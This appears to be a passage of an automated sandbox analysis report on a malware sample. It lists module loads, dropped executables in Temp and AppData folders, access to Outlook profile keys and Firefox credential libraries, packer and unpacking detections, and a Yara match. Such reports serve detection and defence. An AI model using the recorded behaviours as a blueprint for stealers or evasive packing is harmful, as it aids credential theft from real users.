Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\userBGCAFHCAKF.exe	Unpacked PE file: 3.2.userBGCAFHCAKF.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW;
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Unpacked PE file: 21.2.RoamingBKEHDGDGHC.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 39.2.explorti.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 40.2.axplong.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 41.2.explorti.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 46.2.explorti.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfxaajvq:EW;zhkwsvqa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 47.2.axplong.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qhedmxhi:EW;aflvgrfd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe	Unpacked PE file: 49.2.1a87deddda.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\userBKFCAFCFBA.exe	Unpacked PE file: 7.2.userBKFCAFCFBA.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe	Unpacked PE file: 49.2.1a87deddda.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 7.0.userBKFCAFCFBA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.userBKFCAFCFBA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\userBKFCAFCFBA.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\go[1].exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num[1].exe.46.dr	Static PE information: real checksum: 0x0 should be: 0x3c235
Source: axplong.exe.21.dr	Static PE information: real checksum: 0x1d8d3e should be: 0x1d82f7
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: real checksum: 0x1cf620 should be: 0x1d8a3f
Source: go[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x20505
Source: userBKFCAFCFBA.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x20505
Source: explorti.exe.3.dr	Static PE information: real checksum: 0x1cf620 should be: 0x1d8a3f
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: real checksum: 0x1d8d3e should be: 0x1d82f7
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1cf620 should be: 0x1d8a3f

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: xfxaajvq
Source: amadka[1].exe.0.dr	Static PE information: section name: zhkwsvqa
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name:
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: .idata
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name:
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: xfxaajvq
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: zhkwsvqa
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: .taggant
Source: userBKFCAFCFBA.exe.0.dr	Static PE information: section name: .code
Source: go[1].exe.0.dr	Static PE information: section name: .code
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name:
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: .idata
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name:
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: qhedmxhi
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: aflvgrfd
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.3.dr	Static PE information: section name:
Source: explorti.exe.3.dr	Static PE information: section name: .idata
Source: explorti.exe.3.dr	Static PE information: section name:
Source: explorti.exe.3.dr	Static PE information: section name: xfxaajvq
Source: explorti.exe.3.dr	Static PE information: section name: zhkwsvqa
Source: explorti.exe.3.dr	Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.16.dr	Static PE information: section name: .rodata
Source: axplong.exe.21.dr	Static PE information: section name:
Source: axplong.exe.21.dr	Static PE information: section name: .idata
Source: axplong.exe.21.dr	Static PE information: section name:
Source: axplong.exe.21.dr	Static PE information: section name: qhedmxhi
Source: axplong.exe.21.dr	Static PE information: section name: aflvgrfd
Source: axplong.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A9F5 push ecx; ret		0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71B536 push ecx; ret		0_2_6C71B549

Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.98627844484272
Source: amadka[1].exe.0.dr	Static PE information: section name: xfxaajvq entropy: 7.953488564756389
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: entropy: 7.98627844484272
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: xfxaajvq entropy: 7.953488564756389
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: entropy: 7.983905587000576
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: qhedmxhi entropy: 7.954227891194689
Source: explorti.exe.3.dr	Static PE information: section name: entropy: 7.98627844484272
Source: explorti.exe.3.dr	Static PE information: section name: xfxaajvq entropy: 7.953488564756389
Source: axplong.exe.21.dr	Static PE information: section name: entropy: 7.983905587000576
Source: axplong.exe.21.dr	Static PE information: section name: qhedmxhi entropy: 7.954227891194689

